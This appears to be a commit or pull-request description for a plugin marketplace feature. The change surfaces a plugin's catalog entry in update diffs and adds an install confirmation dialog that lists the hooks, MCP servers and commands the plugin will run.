Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)

A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.
